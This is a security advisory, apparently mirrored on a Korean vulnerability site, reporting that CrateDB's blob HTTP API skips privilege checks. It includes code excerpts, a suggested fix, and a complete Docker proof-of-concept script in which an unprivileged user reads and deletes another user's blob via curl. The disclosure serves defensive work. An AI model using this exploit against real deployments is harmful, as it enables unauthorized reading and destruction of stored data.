CrateDB's Blob HTTP handler bypasses authorization
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N상세 설명
Component: io.crate.protocols.http.HttpBlobHandler
Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)
Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.
Summary
CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.
The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.
Where it lives
server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:
1// HttpBlobHandler.java:176 2private void handleBlobRequest(@Nullable HttpContent content) throws IOException { 3 if (possibleRedirect(index, digest)) { 4 return; 5 } 6 7 if (method.equals(HttpMethod.GET)) { 8 get(index, digest); 9 reset();10 } else if (method.equals(HttpMethod.HEAD)) {11 head(index, digest);12 } else if (method.equals(HttpMethod.PUT)) {13 put(content, index, digest);14 } else if (method.equals(HttpMethod.DELETE)) {15 delete(index, digest);16 } else {17 simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);18 }19}No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:
1// HttpBlobHandler.java:287 2private void get(String index, final String digest) throws IOException { 3 if (range != null) { 4 partialContentResponse(index, digest); 5 } else { 6 fullContentResponse(index, digest); 7 } 8}grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.
The APIs that should be called here, used by the SQL path before every statement is dispatched:
server/src/main/java/io/crate/auth/AccessControl.java(interface, declaresensureMayExecute(...)andensureMaySee(...))server/src/main/java/io/crate/auth/AccessControlImpl.java:133(concrete impl)
Threat model
Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.
| Capability | Needs digest? | Impact |
|---|---|---|
| Read or delete a blob | yes | High when digests leak, nil otherwise |
| Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |
Digest secrecy is not a documented security boundary.
Reproduction
End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.
./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:
- Admin uploads a blob via
PUT /_blobs/.... Success (201). - Admin reads via SQL. Success.
- Unprivileged user reads via SQL. Denied (correct, this is what we want).
- Unprivileged user reads via
GET /_blobs/....200 OKplus the blob payload (the bug). - Unprivileged user deletes via
DELETE /_blobs/....204 No Content(the bug, again). - Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.
Sample output from a real run:
1=== Step 3: Unprivileged user CANNOT read via SQL (expected) === 2[PASS] Unprivileged user correctly denied SQL access 3[INFO] Server response: ERROR: Schema 'blob' unknown ... 4 5=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP === 6[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS 7[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin 8 9=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===10[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASSPoC files
<details> <summary><code>docker-compose.yml</code></summary> 1services: 2 cratedb: 3 image: crate:6.2.7 4 ports: 5 - "4200:4200" 6 - "5432:5432" 7 command: > 8 crate 9 -Cnetwork.host=0.0.0.010 -Cdiscovery.type=single-node11 -Cauth.host_based.enabled=true12 -Cauth.host_based.config.0.user=crate13 -Cauth.host_based.config.0.method=trust14 -Cauth.host_based.config.99.method=password15 -Cblobs.path=/data/blobs16 environment:17 - CRATE_HEAP_SIZE=512m18 healthcheck:19 test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]20 interval: 5s21 timeout: 5s22 retries: 12HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.
1-- Create the blob table 2CREATE BLOB TABLE secret_blobs; 3 4-- Create admin user with full access 5CREATE USER admin WITH (password = 'adminpass'); 6GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin; 7 8-- Create unprivileged user with NO access to the blob table 9CREATE USER unprivileged WITH (password = 'unpriv123');10-- Intentionally no GRANT for unprivileged user 1#!/usr/bin/env bash 2set -euo pipefail 3 4CRATE_HTTP="http://localhost:4200" 5BLOB_TABLE="secret_blobs" 6BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin" 7 8RED='\033[0;31m' 9GREEN='\033[0;32m'10YELLOW='\033[1;33m'11CYAN='\033[0;36m'12NC='\033[0m'13 14header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }15pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }16fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; }17info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }18 19sql_as() {20 local user="$1" pass="$2" query="$3"21 PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&122}23 24# ---------------------------------------------------------------------------25header "Step 1: Upload a blob as admin via HTTP"26# ---------------------------------------------------------------------------27DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')28info "Blob SHA1 digest: $DIGEST"29 30HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \31 -u admin:adminpass \32 -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \33 -d "$BLOB_CONTENT")34 35if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then36 pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"37else38 fail "Admin blob upload returned HTTP $HTTP_CODE"39 exit 140fi41 42# ---------------------------------------------------------------------------43header "Step 2: Admin CAN read blob metadata via SQL (expected)"44# ---------------------------------------------------------------------------45RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")46if [[ -n "$RESULT" ]]; then47 pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"48else49 fail "Admin SQL query returned no results"50fi51 52# ---------------------------------------------------------------------------53header "Step 3: Unprivileged user CANNOT read via SQL (expected)"54# ---------------------------------------------------------------------------55RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)56if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then57 pass "Unprivileged user correctly denied SQL access"58 info "Server response: $(echo "$RESULT" | head -1)"59else60 fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"61fi62 63# ---------------------------------------------------------------------------64header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"65# ---------------------------------------------------------------------------66HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \67 -u unprivileged:unpriv123 \68 "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")69 70BODY=$(cat /tmp/blob_out)71 72if [[ "$HTTP_CODE" == "200" ]]; then73 fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"74 info "Retrieved content: ${BODY}"75else76 pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"77fi78 79# ---------------------------------------------------------------------------80header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"81# ---------------------------------------------------------------------------82HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \83 -u unprivileged:unpriv123 \84 -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")85 86if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then87 fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"88else89 pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"90fi91 92# ---------------------------------------------------------------------------93header "Step 6: Confirm blob is gone (admin perspective)"94# ---------------------------------------------------------------------------95RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")96if [[ "$RESULT" == "0" ]]; then97 fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"98else99 info "Blob still exists (count=$RESULT)"100fi 1#!/usr/bin/env bash 2set -euo pipefail 3cd "$(dirname "$0")" 4 5RED='\033[0;31m' 6GREEN='\033[0;32m' 7YELLOW='\033[1;33m' 8NC='\033[0m' 9 10info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }11 12# Pick whichever Compose CLI is available (docker compose v2 vs legacy13# docker-compose binary). Both are common in the wild.14if docker compose version >/dev/null 2>&1; then15 DC=(docker compose)16elif command -v docker-compose >/dev/null 2>&1; then17 DC=(docker-compose)18else19 echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&220 exit 221fi22 23cleanup() {24 info "Stopping containers..."25 "${DC[@]}" down -v 2>/dev/null || true26}27trap cleanup EXIT28 29info "Starting CrateDB with authentication enabled..."30"${DC[@]}" up -d31 32info "Waiting for CrateDB to become healthy..."33for i in $(seq 1 60); do34 if curl -sf http://localhost:4200/ > /dev/null 2>&1; then35 break36 fi37 sleep 138done39 40# Verify CrateDB is actually ready for SQL connections41for i in $(seq 1 30); do42 if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then43 break44 fi45 sleep 146done47 48info "Running setup SQL as superuser (crate)..."49PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql50 51# Give CrateDB a moment to propagate user/privilege changes52sleep 253 54info "Running exploit..."55echo ""56bash exploit.shFixing
Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.
| HTTP verb | SQL equivalent | Required privilege on blob.<table> |
|---|---|---|
GET / HEAD | SELECT | DQL |
PUT | INSERT / UPDATE | DML |
DELETE | DELETE | DML |
Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).
Notes
Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.